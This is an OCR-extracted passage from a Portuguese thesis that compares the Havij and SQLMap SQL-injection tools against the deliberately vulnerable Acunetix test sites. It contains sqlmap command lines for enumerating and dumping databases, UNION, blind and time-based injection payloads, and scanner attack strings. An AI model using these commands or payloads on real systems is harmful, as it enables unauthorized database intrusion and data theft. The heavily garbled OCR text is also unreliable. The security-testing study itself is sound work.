Title: Generic UNION guery <HULL»> — 8 columns

Payload: id=—%?685% UNION ALL SELECT HULL.MULL.HULL.CONCAT{(AxY16a6hYA71.Bx6ab61
655644527748 7264, . 8x?16b626071 > . HULL _ HULL, HULL ,  HULL——

[21:-42:881 [INFO]1 the back—end DBMS is MuySQL
web application technology: Hginx,. PHP 5.3.18
hack—end DBMS: MySQL 5.8A.12

acuart
users
[8 columns]
+— +

Co Lumn

mediumtext

varchar<{1i@8@>
varchar<i188>
varchar{1@88>
varchar<1@8>
varchar (188>
varchar<1@@>
varcharC188>

addreszs

§ mm e mm o mm
[ —

shutting down at 21:42:16

Fonte: Elaborada pelo autor.

De modo que para encontrar as colunas e seus respectivos dados foram

executados mais dois comandos como pode ser visto nas Figuras 36 e 37,

retornando 8 colunas e uma linha de dados, igualmente ao ataque executado pelo

recurso Havij.



Figura 37 — SQLMap primeiro site, vulnerabilidade 1, dados.
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B Ch\Windows\system32\cmd.exe

uwzers —C uname.pass.address.cec.name.email ——dump

{1 .8—dev—nongit—28151887>

e http:/ssglmap.org

zible for any misuse opr damage caused by this program

[#]1 starting at 23:508:16

csglmap resumed the following injection point<s?> from stored session:
Parameter:z id (POST>»

Type: boolean—bhaszed hbhlind

Title: AMD hoolean—based blind — WHERE or» HAUIHNG clause

Payload: id=1 AND 4724=4724

Type: ANDA/OR time—hbased blind
Title: MySQL >= 5_.8.12 AND time—baszed blind <(EELECT>
Payload: id=1 AND <SELECT = FROM <(SELECT<SLEEFP<S52>>>AgRO>

Type: UNION guery
Title: Generic UNION guery (HULL>»? — 8 columns

b556445277487264 . 0xx716b626071 > .NULL, NULL . HULL . MULL—

[23:5A:181 [INF01 the back—end DBME is MySQL
web application technology: Mginx,. PHP 5.3.18
back—end DBMS: MuSQL S.@.12

[#]1 shutting down at 23:58:19

C:ssglmap.py —u http:sstestphp.vulnweb.comnsAJARinfotitle.php ——data=""id=1" -T

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to obhey all applicable
local,., state and federal laws. Developers assume no liabhility and are not respon

Payload: id=—-2685 UHION ALL SELECT HULL.HULL.HULL.CONCAT{8x?16a6bh7@71 . 8x6a61

21 =treet 1234-5678-23800-78008 John Smith emailPemail.com

—————— —_—

Fonte: Elaborada pelo autor.

Ao encerrar 0s ataque com essa url, foi dado inicio ao proximo ataque com as

ferramentas Havij e SQLMap, utilizando a vulnerabilidade encontrada pela anélise

do Acunetix na url /product.php?pic deste mesmo site.

Diferentemente do ataque anterior realizado pelo Havij, neste foi colocado o

parametro vulneravel, no que no caso € a variavel pic, juntamente a url na area

Target do software, devido a este ser do método GET.
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Figura 38 — Havij primeiro site, vulnerabilidade 2.

# Havij = | >

* Status: I'm IDLE

Targst: [ http://ftestphp.vulnweb.com/product.php?pic= . | (1]
Anal
[ Keywaord:  Auto Detect [ Syrta: Auto Detect | nalyze
Database:  [Aute Detect v| Method [GET +| Type [Auto Detect | =
Load Save

FPost D ata:

w i = = i S, P

About Info Tables Read Files _rmid She Query Find Admin MD5 Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro

ITSECTEAM cCopyright @ 2009-2012
By r3dm0Owv3

http: /fITSecTeam.com
http: //forum.Itsecteam.com
info@itsecteam.com Check for update

Databases: Fegister

Thiz copy of Havij iz registered to:

r3dm0w3

Clear Log

Cracked by Serwvice Manual { AoORE Team 7}

Aanalyzing http: //testphp.vulmweb. comy/product. php?pic= with 1 input parameter (s)

Test parameter: pic

HostT IF: 176.28.50.165

web Server: nginx/1.4.1

Powered-by: PHP/5.3.10-1~Tucid+2uwsgiz

keyword Found: mysql_fetch_array(]l|

I guess injection twvpe is Integer?! If injection failed, retry with a manual kewyword.
Ccan't find db serwver type! But maybe there be some chances! [-0=

selected Column Count is 11

valid string Column is 1

DB Serwver: MySQL
Current DB: acuart

-

Fonte: Elaborada pelo autor.

Inicialmente este ataque encontrou o banco de dados acuart e o tipo de

SGBD, MySQL, como ¢ ilustrado na Figura 38. De modo que ao procurar por novos

BDs

igualmente feito anteriormente, foi encontrado novamente o banco,

information_schema, ilustrado na Figura 39.



47

Figura 39 — Havji primeiro site, vulnerabilidade 2, banco de dados.

& Havij =5 R[5
Target: hitp://testphp.vulnweb.com/product.php?pic= | ] []]
- Anal
[ Keyword:  Auto Detect [] Sprtaw: auto Detect | nalyze
Databaze: Auto Detect v] b ethod: Tope: M
) Load Save
Post Data:
w eati = al D 24, ) +
About Infe Tables Read Files C : Query  Find Adrmin MD5 Settings
x 5] i [ i M o)
Stop Get DBs Get Tables Get Columns  Get Data Save Tables  Sawve Data
o [w] acuart

----- [] information_schema T

4| 1

Jze Group_Concat (MySGL Only) &llinone request.  [] Force to use it Clear lizt on get

* Statyg: I'mIDLE Clear Log

I guess injection type is Integer?! If injection failed, retry with a manual keyword. .
Can't find db server type! But maybe there be some chances! [-o<
Selected Column Count is 11

valid 5tring Column is 1 —
DE Serwver: MySgL

Current DB: acuart

Data Base Found: information_schema
Data Base Found: acuart

m

1

Fonte: Elaborada pelo autor.

Para manter um padrdo, apés identificar os BDs, o banco acuart foi
novamente explorado, de forma que, foram encontradas 8 tabelas neste, que no

caso sdo as mesmas encontradas anteriormente nos ataques. As tabelas obtidas
sao ilustradas na Figura 40.
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Figura 40 — Havji primeiro site, vulnerabilidade 2, tabelas.

# Havij = |Eoh(===
Target: http://testphp.vulnweb.com/product.php?pic= | il
[ Keyword:  Auto Detect [ Spntan: Auto Detect | nalyze
Databaze: Auto Detect v] h ethod: Type: H

) Load Save
Post Data:
L7 L] = =l i i, P
About Info Tables Read Files Cmd She Query  Find Admin MD5 Settings
= i e 0 A 3
Stop Get DBs Get Tables Get Columns  Get Data Save Tables  Save Data
B[] acuart L
- [] artists
- [] carts
D cateq
- [] featured
- [] questhook,
- [] pictures
- [] products
- [] users
- [] infarmation_schema
1 [ T = b

Usze Group_Concat (MySAL Only) V] &l in one request.  [] Force to use it Clear list on get

" Statuz I'm IDLE Clear Log

Selected Column Count is 11 "

valid string Column is 1

DB Server: MysJL

Current DB: acuart

Data Base Found: information_schema

Data Base Found: acuart

Count({table_name) of information_schema.tables where table schema=0x616375617274 i5 &
Tables found: artists,carts,categ,featured,guestbook,pictures,products,users

m

Fonte: Elaborada pelo autor.

Desta forma o ultimo passo deste ataque, mantendo um padréo, foi explorar a
tabela users, com o objetivo de descobrir suas respectivas colunas e seus dados.
Assim ao explorar tal foi obtido novamente 8 colunas, e uma linha de dados, que sao
ilustrados na Figura 41. O unico diferencial do que foi encontrado na primeira url
vulneravel testada, do método Post, deste mesmo site, sdo as informacoes

encontradas nas colunas .



Figura 41 — Haviji primeiro site, vulnerabilidade 2, colunas e dados.
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# v oo s
Target: http://testphp.vulnweb.com/product.php?pic= "3 il
Analyze
[ Keyword:  Auto Detect []Syntax: Auto Detect e
Datsbase: [ Auto Detect v| Method [GET = | Type: | Auto Detect -] M
Load Save
Post Data:
About Info Tables Read Files Crmd Shel Query  Find Admin MD5 Settings
x : e £ L] M M
Stap Get DBs Get Tables  Get Columns  Get Data Save Tables  Save Data
D featured “| | una... pass cc address email name
] guesthook
[ pictures test test  1234-5678-.. Idontwantt... emal@emai.c... +order+by+39)
- products
B[] users
- ] uname
- [] pass
[l e
-] address E
- [w] email
-[#] name
-] phane
[ canrt
-] information_schema - |4 m 3
[¥] Use Group_Concat MySAL Only) ] 40 in one request. [ | Forceto use it (] Clear list on get
* Status: I'm IDLE Clear Log
Current DB: acuart -
Data Base Found: information_schema
Data eBase Found: acuart
Count({table_name) of information_schema.tables where table schema=0x616375617274 is &
Tables found: artists,carts,categ,featured,guestbook,pictures,products,users
Count {column_name) of information_schema.columns where table schema=0x616375617274 and table_name=0x75:
Calumns found: wuname,pass,cc,address,email,name,phone,cart
Count({*) of acuart.users 1is 1 =
Data Found: uname,pass,cc,address,email,name=testAtestAl234-5675-2320-901041 dont want to harm anyone.
4 W 3

Fonte: Elaborada pelo autor.

Ao continuar o processo de ataques, agora com o SQLMap, foi aplicado o

primeiro comando utilizando a mesma url vulneravel que acabou de ser utilizada no

Havij. O comando busca por bancos de dados fazendo as mesmas trés perguntas

feita anteriormente durante a primeira analise realizada com o recurso, pergutando

se € necessario continuar com testes especificos para outros bancos de dados para

garantir o tipo de sistema de gerenciamento de BDs encontrado até o momento, que

no caso é o MySQL, guestiona se é valido aplicar todos testes para o BD MySQL, e

por ultmo ao chegar ao final do ataque pergunta se queremos continuar com testes

de outros parametros. As respostas para as trés questbes foram as mesmas

utilizadas da primeira vez.
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Figura 42 — SQLMap primeiro site, vulnerabilidade 2.

EX ChWindowshsystern32homd.exe = |- E || eEEe
C:xresglmap.py —u http:-Astestphp.vulnuweb.comsproduct .php?pic=2 ——dhs -

http:/rsgqlmap._.org

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It iz the end user’'s responsibility to obey all applicable
local,. state and federal laws. Developers assume no liability and are not respon

=ibhle for any misuse or damage cauwused by this program

[#] starting at 21:-58:28

m

it looks like the bhack-end DBHE is "MySQL’. Do you want to skip test payloads sp

ecific for other DBMSe=z? [Y¥-nl u
for the remaining tests,. do you want to include all tests for "MySQL’ extending

provided level <12 and risk <12 values? [¥-nl n

[21:5%8:53]1 [CRITICAL] considerabhle lagging has been detected in connection respo
nzets). Please use as high value for option "—time—sec’ as possible (e_.g. 18 or

nore >

GEE %arﬁ?eter fpic’ iz vulnerabhle. Do you want to keep testing the others Cif an
LT Liry n
zglmap identified the following injection point¢s?> with a total of 58 HITPF<(=> re
gquests:
Parameter: pic (GEI>

Type: boolean—hased blind

Title: AMD bhoolean—bhased blind — WHERE or»r HAUING clause

Payload: pic=2 AND 1326=1326

Type: AMDA0OR time—hased hlind
Title: MySQL »>= 5.8.12 AND time—based bhlind <(SELECT>»
Payload: pic=2 AND <(SELECT = FROM <{SELECT<{SLEEP<C5>>>jorj>

Type: UNION guery
Title: Generic UNION guery (MULL> — 11 columns
Payload: pic=-5797 UNION ALL SELECT CONCAT<{Bx7l6a7Ya?a?l.Bx6a53516f664h564158

FBx71786b6271 3 .NULL . MULL . MULL . HULL . NULL . NULL . NULL . NULL . HULL , HULL——

Fonte: Elaborada pelo autor.

Nas Figuras 42 e 43, pode-se observar a partir do comando executado, 0s

testes feitos pela ferramenta, assim como os bancos de dados obtidos.
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Figura 43 — SQLMap primeiro site, vulnerabilidade 2, banco de dados.

BN Ch\Windows\systermn32\cmd.exe =RIEEE ="

webh application technology: Hginx,. PHP 5.3.18
hack—-end DBMS: MySQL 5.8.12

available databaszes [21:
[#]1 acuart
[#]1 information_schema

[#]1 shutting down at 21:51:29

Cona

Fonte: Elaborada pelo autor.

Descobrindo os bancos de dados e seguindo o padréo, foi executado mais um
comando explorando o banco de dados acuart, com o intuito de conseguir acesso as
suas tabelas. O ataque, retorna como resposta as mesmas oito tabelas encontradas
pelo Havij, o que é ilustrado na Figura 44.
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Figura 44 — SQLMap primeiro site, vulnerabilidade 2, tabelas.
B C:\Windows\system32hcmd. exe |i”£”ﬁ

C-nrsglmap.py —u httpssstestphp.vulnuweb.comsproduct .php?pic= —D acuart —tahles
£1.8—dev-nongit—26815%18873

http: - “sglmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutwual
consent is illegal. It is the end uwuser’s responsibility to obhey all applicable
local., state and federal laws. Developers assume no liability and are not respon

=ible for any misuse or damage caused by this program

[=*] starting at 16:-43:-13

=glmap resumed the following injection point<s>» from stored session:
Parameter: pic (GET>»

Type: boolean—based blind

Title: AND boolean—based blind — WHERE o HAUING clause

Pavload: pic=2 AND 2087=2007

Type: ANDAOR time—baszed blind
Title: MySQL >= 5_.8.12 AND time—baszed blind <SELECT>
Payvload: pic=2 AND ¢(SELECT = FROM <(SELECT<SLEEF<5>>>ZAahd>

Type: UNION guery
Title: Generic UNION guery (MULL> — 11 columns
ad: pic=—2195 UNION ALL SELECT MNULL.HULL.MWULL.MULL,HNULL. NULL MULL . HULL.

Paylo
CONCHT(BX?1626a?a?1 Bx67434cbabf 125564271 . BxV16bYa?871 > . NULL . HULL—

[16:43:141 [INFO0]1 the back—end DBME i= MuySQL
web application technology: Hginx, PHP 5.3.18
hack—end DBMS: MyS5QL 5.8.12

Databaze: acuart
[B table=s]

carts
cateqg
featured
guesthook
pictures
products
users

o=
e

[#*] shutting down at 16:-43:18

(HER

Fonte: Elaborada pelo autor.

Ja na Figura 45, prosseguindo com a invaséo é feito novamente outro ataque,
s6 gue desta vez visando encontrar as colunas da tabela users, e assim sao obtidas

oito colunas iguais as encontradas pelo Havij.
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Figura 45 — Haviji primeiro site, vulnerabilidade 2, colunas.

EA C:\Windows\system32\cmd.exe = = @

Cowreglmap.py —u http: - rtestphp.vualnweb_comsproduct .php?pic= —-T uwusers ——columns
€1 _B—dev—rnongit—28015188%7>

http:/sglmap_org

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’'s responsibility to obhey all applicahle
local,. state and federal laws. Developers assume no liability and are not respon

=ible for any misuse or damage caused by this program

[#%#] stavrting at 16:-45:-24

=glmap resumed the following injection point<s?» from stored session:
Parameter: pic <GET>»

Type: bhoolean—hbhased bhlind

Title: AND hoolean—based blind — WHERE or HAUVIMG clause

Payload: pic=2 AND 2887=28687

Type: ANDAOR time—haszed bhlind
Title: MuSQL »= 5.8_.12 ANHD time—based blind (SELECT>
Payload: pic=2 AND <{SELECT = FROM <(SELECT<{SLEEP<S5>>>Efabd>

Type:= UNHION guery
T1tle- Generic UMION guery (HMULL?» — 11 columns
ad: pic=—21925 UNIOM ALL SELECT HNULL.HNULL.MULL.MULL.HNULL.MULL.MULL . NULL .
COHCHT(BX?iEZEa?a?i Bx692434cbabf42556F 4971 . Ex716h7a7371) HULL NULL——
[16:45:25] [INMF01 the back—end DBMS is MySQL
web application technology: Mginx, PHP 5.3_18
hack—end DBMS: MySQL 5_6.12

mediumntext
varchar{188>
varchar{188>
varchar{188>
varchar (188>
varchar (186>
varchar(1686>

wuname varchar{(186>

— +

shutting down at 16:=45:38

Fonte: Elaborada pelo autor.

7

Por ultimo é realizado um novo comando com o intuito de encontrar as
informagdes contidas nas colunas da tabela users, como foi feito anteriormente
realizado com a ferramenta Havij. Desta forma ao fim do ataque e ap0s execucéao de
varios testes realizado pelo SQLMap, é retornado uma linha de dados, que no caso

sao iguais ao obtidos pelo recurso anterior, como mostrado na Figura 46.



Figura 46 — Haviji primeiro site, vulnerabilidade 2, dados.

BN C:\Windowshsystem32hcmd.exe [ |- = [

Covnsglmap.py —u httpssstestphp.vulnweb_comsproduct . php?pic= —D acuart —-T users
—C wname.pass.cc.address.email.name —dump

€1 _B—dev—nongit—28015188723}

http: - “sglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
conszent is illegal. It is the end user’s responsibility to obey all applicable
local,. state and federal laws. Developers sume no liability and are not respon

=ible for any misuse or damage causzed by this program

[+*] starting at 12:-492:36

=glmap resumed the following injection point<s> from stored session:
Parameter:- pic <GET>»

Type: boolean—bhazed blind

Title: AHD hoolean—based blind — WHERE or» HAUIHG clause

Payload: pic=2 AND 2Z887=2807

Type:= AHDA0OR time—hbhased bhlind
Title: MyuySQL >= 5.8.12 AMD time—bhased blind <SELECT>»
Payload: pic=2 AND <{(SELECT = FROM <(SELECT<SLEEP{5>>>FEAahd>

Type:= UNION guery
Title: Generic UMION guery (MULL>» — 11 columns
yload: pic=—2195 UNION ALL SELECT HULL.HWULL.HWULL.,HNULL,HULL,HMULL.HULL., NULL .

Pa
CONCHT(BX?iEZEa?a?l Bx67434c6abf42556F4971 . Bx716bYa7871 > .MULL . HNULL—

[12:42:371 [INFO1 the back—end DBMS is MuSQL

web application technology: Mginx. PHPF $.32.18
back—end DBMS: MySQL S5.8.12

Database: acuart
Table: users
[1 entry]

I dont want to harm anvone. Just
+urder+hy+99 H

[+] shutting down at 12:49:-38

RS

Fonte: Elaborada pelo autor.

Encerrando essa bateria de ataques realizados nas duas url do site
http://testphp.vulnweb.com/, foi dado inicio ao mesmo procedimento mas no
respectivo site, http://testasp.vulnweb.com/, e assim como anteriormente, esse foi
analisado pelo scanner Acunetix para obtencéo de suas vulnerabilidades.

O scanner por sua vez retornou diversas vulnerabilidades, no qual foram

escolhidas aleatoriamente duas. A primeira vulnerabilidade escolhida foi a /Login.asp
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com o parametro tfUName, que no caso é do método POST, como pode ser visto na
Figura 47.

Figura 47 — Andlise do scanner Acunetix referente ao segundo site, parametro 1.

Tools  Configuration Help
& @ 2 E =L DR | ] g | A 4 &
j |_1 B & - “jj | Report )3' Start URL: |http: /ftestasp.vulnweb, com = | Profile: |Default - Start
ity Scanner Scan Results Statuz : - A
ner _ M acunetix WEB APPLICATION SECURITY
T = S¢ Scan Thread 1 ( http://ftestasp.vulnweb.com ) Finished A
ranler = [illy Web Alerts (89)
t Finder = @ Blind QL Injection () SQL injection (verified) HIGH
Imain Scanner |:| JLogin.asp (4)
5QL Injector [L] Jshowforum.asp (1) Vulnerability description
Editor |:| fshowthread.asp (1) . o . L
Sniffer @ Cross site scripting (verified) (1) This script is possibly vulnerable to SQL Injection attacks.
Fuzzer )
\ntication Tester 0 Directory tra"_ersal _(1) SQL injection is a vulnerability that allows an attacker to alter
—re Results @ Microsoft 115 tide directory enumera. ., back-end SOL statements by manipulating the user input. An
ices @ Script source code disdosure (1) S0L injection occurs when web applications accept user input
Services Scanner = @ 5QL injection {verified) (15) mtitrisu?igzglyefics‘fhi:rts ;erS;).L statement and doesn't properly
Services Editor B[] fogin.asp (4) g :
fﬁo_n ] O tfName (2) This is one of the most common application layer attacks
'ahoﬁ Setfings @ tfPass (2) currently being used on the Internet. Despite the fact that it is
S_Ethngs D fRegister.asp (8) relatively easy to protect against, there is a large number of web
ling Profiles [] fsearch.asp (1) applications vulnerable.
am Updates L] showforum.asp (1) This vulnerability affects [Login.asp.
n Information [] /showthread.asp (1) Discovered by: Scripting (Sgl_Injection.script).
sing (7] '\“Jea.kpéssu\'ord (@ Attack details
rt Center &) Application error message (3)
ase ) HTML form without CSRF protection ... URL encoded POST input tfUName was setto '+(select convert
Vianual @ Internal server error (2 (int,CHAR(52)+CHAR({67)+CHAR(117)+CHAR(66)+CHAR(99)
! ) ) +CHAR(74)+CHAR(54)+CHAR(115)+CHAR(101)+CHAR(113)
nsor - & U dentiall tin dear te...
[ @) User creden és ar.e sentin dear +CHAR(50)) FROM syscolumns)+*
@ AsP.NET version disclosure (1) Injected pattern found:
@ Clidgacking: X-Frame-Options heade...
@ Cookie without HttpOnly flag set (1) 1CuBcI6seg?
@ Cookie without Secure flag set (1)
@ Login page password-guessing attac...
@ oPTIONS methed is enabled (1)
@ Broken links (2) ¥ View HTTP headers
@ GHDB: 115 4.0 server (4) ¥ View HTI'-;1Lresp0ns.e .
@ GHDE: I1S server (4) @ Launch the f:-ltEacI-( with HTTP Editor
@ GHDB: robots. txt file (1) 9 ﬁetist;?'erlt"sn" "y -
@ GHDE: robots. bt with Disallow tag (1) O LELLIE 2Ll SE T
@ GHDB: Typical login page (10) The impact of this vulnerability
@ Microsoft 115 version disclosure (1) _
@ Password type input with auto-com An attacker may execute arbitrary SOL statements on the
peinp P vulnerable system. This may compromise the integrity of your
& Knowledge Base (4) database andlor expose sensitive information.
i List of file extensions
Top 10 response times Depending on the back-end database in use, SQL injection
List of files with inputs W vulnerabilities lead to \tarying levels ofdatas'system access _for_the o
< > attacker. It may be possible to not only manipulate existing
[ Activity window i

Fonte: Elaborada pelo autor.

J& a segunda escolhida, pertencente ao métogo GET, foi a vulnerabilidade
/showforum.asp que possui como parametro o id, que pode se observada na Figura
48.
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Figura 48 — Analise do scanner Acunetix referente ao segundo site, parametro 2

! ACOMELR WED VUTAEraomy STIner TO0 TTITEr Qo

sile  Actions Tools Configuration  Help

| Mew Scan | [&} 3 0 =L D R | | N 9| &
ols Explorer a | IJ Lj ] H ﬁj | Report p Start URL: |http:/ftestasp.vulnweb.com | Profile: |Default - Star
E| Web Vulnerability Scanner Gean Results Chatus s
I8 Web Scanner M acunetix WEB APPLICATION SECURITY |

1= Todls = &g Scan Thread 1 ( http://testasp.vulnweb.com ) Finished A
(3 Site Cranter &= [illy web Alerts (39)

7 Target Finder £t @ Bind SQL Injection (6) Blind SQL Injection P
£, Subdomain Scarner |:| J/Login.asp (4)

|4 Blind SQL Injector -. =~ B jshowforum.asp (1) Vulnerability description
= HTTP Editor @ id(1)

AL HTTP Sniffer D Jehowthread.asp (1) This script is possibly vulnerable to SQL Injection attacks.

%) Authentication Tester © C.ross site saripting (verified) (1) S0L injection is a vulnerability that allows an attacker to alter
.7 Compare Results @ Directory traversal (1) back-end SOL statements by manipulating the user input. An
[ W_eb Services @ Microsoft IIS tide directory enumera... S0QL injection occurs when web applications accept user input
%] Web Services Scanner @ Soript source code disdosure (1) that is directly placed into a SQL statement and doesn't properly

% Web Services Editor = @ SQL injection (verified) (15) filter out dangerous characters.

HE C?”ﬁg”r_am_” ) Cl fl_ogih.asp Q) This is one of the most common application layer attacks
""" (&) ADD"CEUU!“ Settings [] /egister.asp (3) currently being used on the Internet. Despite the fact that it is
""" I'_-:' Sean S_EW”QS |:| fSearch.asp (1) relatively easy to protect against, there is a large number of web
""" | Scanning Profiles [J] fshowforum.asp (1) applications vulnerable.

|- General
) Program Updates [ /fshowthread.asp (1) This vulnerability affects [showforum.asp.
-[10] Version Information ® Wea_k D‘_asswmd ) Discovered by: Scripting (Blind_Sql_Injection.script).
_____ P Licensing @ Application error message (3) . Attack details
@j Support Center ) HTML form without CSRF protection ...
@] Purchase ) Internal server error (2) URL encoded GET inputid was set to -1; waitfor delay '0:0:0" -

4] User Manual
----- # AcuSensor

) User credentials are sent in dear te...
@ ASP.NET version disdosure (1)

@ Clickjacking: X-Frame-Options heade...
@ Cookie without HttpOnly flag set (1)
@ Cookie without Secure flag set (1)

@ Login page password-guessing attac...
@ OPTIONS method is enabled (1)

@ Broken links (2)

@ GHDB: I1S 4.0 server (4)

@ GHDE: 115 server (4)

@ GHDB: robots. txt file (1)

@ GHDB: robots. tet with Disallow tag (1)
@ GHDB: Typical login page {10)

Tests performed:

= -1, waitfor delay '000:3" — == 3.234 5
-1; waitfor delay '0:0:68'-==6.25 5
= -1, waitfor delay '0:0:0'—==0.25s
-1; waitfor delay 0:009'-==9313s
= -1, waitfor delay '000:0" — == 0.235 s
-1; waitfor delay '0:0:0°'-==0.25 s
= -1 waitfor delay'0:0:0'—==0.25s
-1; waitfor delay '0:0:6'-==6.235s
= -1 waitfor delay "0:0:0" — == 0.266 s

Original value: 1

@HHHHHEEHHHHHHHHHHHE

@ Microsoft I15 version disdosure (1) ¥ View HTTP headers
@ Password type input with auto-comp... ¥ View HTML response
=} Knowledge Base (4) @® Launch the attack with HTTP Editor
List of file extensions ® Retestalert(s)
Top 10 response times ® Mark this alert as a false positive
List of fles with inputs The impact of this vulnerability
List of external hosts v \
< > An attacker may execute arbitrary SQL statements on the
[ Activity Window

10.14 23:48.04, [Error] Scan "Scan Thread 1" was aborted by user.
10.14 23:59.06, [Error] Scan "Scan Thread 1" was aborted by user.

Application Log  Error Log

ady

Fonte: Elaborada pelo autor.

ApoOs definidas as vulnerabilidades do site, que serdo exploradas, o proximo
passo foi iniciado. Comecando pela ferramenta Havij, e do mesmo modo que
anteriormente foram colocadas as informacdes em seus respectivos lugares para
efetuar o ataque, mas como é possivel ver na Figura 49, depois de alguns testes, o
recurso nao retorna nenhuma informacao sobre o banco de dados do site alvo, e

conclui que nédo é possivel detectar nenhum BDs.
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Figura 49 — Havij segundo site, vulnerabilidade 1.

Cannot find column count!
Tezting for MysSQL error based injection

MywSQL error based injection method cant

rRetrying to find current data base
MsSOL error based injection method cant
M=sSQL time based injection method can't
MwSOL time based injection method can't
Aanother try to find DE server type
Can not detect data base! Please choose

-

can't find db serwver type! BUut maybe there be

some chances! [—o=
method

be used!

be used!
be used
be used

a data base.

m

# Havij = e >
Target: .http:fftestasp.vulnweb.com.-"LDgin.asp | [ 1]
T Anal
[C] Keyward: Auto Detect [] Syntax: Auto Detect nalyze
Load Sawve
Post Data: tfUName=%Inject_Here%
L7 it = = D g5 o
About red Fi luer Find Admin MMDS Settings
Havij - Advanced SQL Injection Tool
Version 1.16 Pro
ITSECTEAM Copyright @ 2009-2012
By r2dmow3
http://ITSecTeam.com
http:/forum.Itsecteam.com
info@itsecteam.com Check for update
Catabazes: Register
This copy of Hawi| iz registered to:
r3drme23
* Status: I'm IDLE Clear Log
Injecting into defined injection point by user -~
HostT IP: BF.2320.29.1&7
web sSerwver: Microsoft-IIS/&.0
Powered-byw: ASP.NET
can not Tind keyword but Tet me do a try!
I guess injection type is Integer?! If injection failed, retry with a manual keyword.

Fonte: Elaborada pelo autor.

Diante da tentativa de atague sem éxito feita utilizando o recurso Havij,

(0]

mesmo ataque foi realizado mas com a ferramenta SQLMap, e igualmente ao Havij,

o0 SQLMap néao consegue identificar nenhuma informacdo sobre o banco de dados

alvo, mas diferentemente da ferramenta anterior, ilustrado na Figura 50, este

recomenda refazer o ataque incrementando alguns recursos e dados a mais no

comando, possibilitando talvez um ataque efetivo.
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50 — SQLMap segundo site, vulnerabilidade 1.

(-]

e LN
o

L[]

BN C:\Windows\systermn32hcmd.exe
[#] shutting down at 18:3%:-13

[*T] legal disclaimer: Usage of sglmap fFor
consent is illegal. It is the end user’'s
local, state and federal laws.
=ible for any misuse or damage caused by this program

[+*] starting at 22:51:26

[22:54:-5%]1 [CRITICAL] all tested parameters appear to be not injectable.
f——lewvel' A" —risk’ values to perform more tests. Also.
by providing either a valid value for option "—string’

increase

maybe you could retry with an option *—tamper’ C(e.g.

C:w>eglmap.-py

= [ B[S

—u http:-stestasp-vulnweb.comsLogin.asp —data=""tfUMame=a"" —dbs

>

glmap.py

http: - sglmap.org

attacking targets without prior mutual]
responsibility to obey all applicable
Developers assume no liability and avre not wespon

Try to

zsome kind of protection mechanizsm involved <e_g.

suspect that there is
f——tamper=spaceZcomment’ >

shutting down at 22:54:57

—u http:- testasp.vulnweb.comsLogin.asp —data=""tfUMame=a"" —dbs

Fonte: Elaborada pelo autor.

Desta forma foi dada continuidade ao processo, realizando um ataque com o

recurso Havij, mas explorando a segunda vulnerabilidade deste site,

/showforum.asp?id, como é ilustrado na Figura 51. Nesta foi encontrado o banco de

dados acuforum.
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Figura 51 — Havij segundo site, vulnerabilidade 2, banco de dados.
# Havij = B

Target: http://testasp.vulnweb.com/showforum.asprid= [ 1 1]

T - Analyze
[T Kewmwornd: Auto Detect [ Syntax: Auto Detect ¥e

Databaze: [Auto Cretect v] b ethod: Tepe: | Auto Detect - =]

Load Sawe
Foszt D ata:

w B = = D A, s
About Info Tables lead Files  Crmd Shell Query Find Admin MDS Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro
ITSECTEAM <Copyright @ 2009-2012
By r23dmowv3
http: //ITSecTeam.com

http: /fforum.Itsecteam.com
info@itsecteam.com Check for update

Databazes: Register

Thiz copy of Hawij iz registered to:
r3dmiw3

Statuz: I'm IDLE Clear Log

Analyzing http: //stestasp.vulmweb. com,/showforum. asp7id= with 1 input parameter{s) -
id

Test parameter: i

Http Error: 02 Oobject mowved

HostT IP: B7.2320.29.1&67

web Serwver: Microsoft—-IIS/ 6.0

Powered-by: ASP.NET

Kewyword Found: object

I guess injection type is Integer?! If injection Tailed, retry with a manual keyword.
DE Serwer: MSSQL 2005 with error

DE Name: acuforum

F

Fonte: Elaborada pelo autor.

Prosseguindo com uma nova busca a procura de BDs, o software encontrou
mais seis, master, tempdb, model, msdb, acublog, e acuservice, que séo ilustrados
na Figura 52.



Figura 52 — Havij segundo site, vulnerabilidade 2, bancos de dados.
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Target: http://testasp.vulnweb.com/showforum.asp?id= |
[T Keyword:  auto Detect [O] Syntax: Aute Detect Analyze
D atabasge: [Auto Detect v] M ethod: [GEF '] Twpe: [Autc\v Detect v]

Post Data: |

Load Sawve

----- [ acuservice

4 | {11

Use Group_Concat [MySEL Only) Allin one request. [ | Force to use it Clear lizt on get

* Status: I'm IDLE

[ Hawij = | = =3

' a9 i = a ) 4%,
About Info Tables 1 F Cmd Shell Query Find Admin MD5 Settings
*® ] i = T - "
Stop Get DBs Get Tables Get Columns Get Data Save Tables Save Data
: acufarurm
] master
[1tempdb
[ madel
[ m=db
[1 acublog

Clear Log

Analyzing http: //testasp. vulnweb. com/showforum. asp7id= with 1 input parameter({s)
Test parameter: id

HTLTLp Error: Z02 Oobject mowved

HostT IP: B87.2320.29.1&7

web Serwver: Microsoft-IIS/&.0

Powered-by: ASP.NET

Keyword Found: Object

DE Serwver: MSs5gL 2005 with error
DE Name: acuforum

Count{name) of [master]..|[sysdatabases] is 7

Data Base Found: master

Data Base Found: tempdb

Data Base Found: model

Data Base Found: msdb

Data Base Found: acublog

Data Base Found: acuforum

Data Base Found: acuservice

F

I guess injection twype is Integer?! If injection failed, retry with a manual keyword.

-~

m

Fonte: Elaborada pelo autor.

Ja na Figura 53 é ilustrado o resultado de mais dois ataques, no qual o

primeiro teve intuito de explorar o BD acuforum, afim de encontrar tabelas, que no

caso foram trés, e o segundo ataque, teve objetivo de encontrar dados em uma

destas tabelas, aleatoriamente foi escolhida a tabela forums e nenhum dados a

ferramenta Havij retornou.
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Figura 53 — Havij segundo site, vulnerabilidade 2, colunas e dados.

£ Hawij

T arget:

[ Kevward:

Auto Detect

:http:.-".-"testasp.vulnweb.com.ﬂ'show‘Forum.asp?id=

=N e >

|

_ ]
Analyze e

[[] Suntas: Auto Detect

D atabasze: [Auto Dretect

~]

b ethiod: [GI:_F v] Type: [Auto Dretect =]

Posgt Data:

o

About Info Tames

x

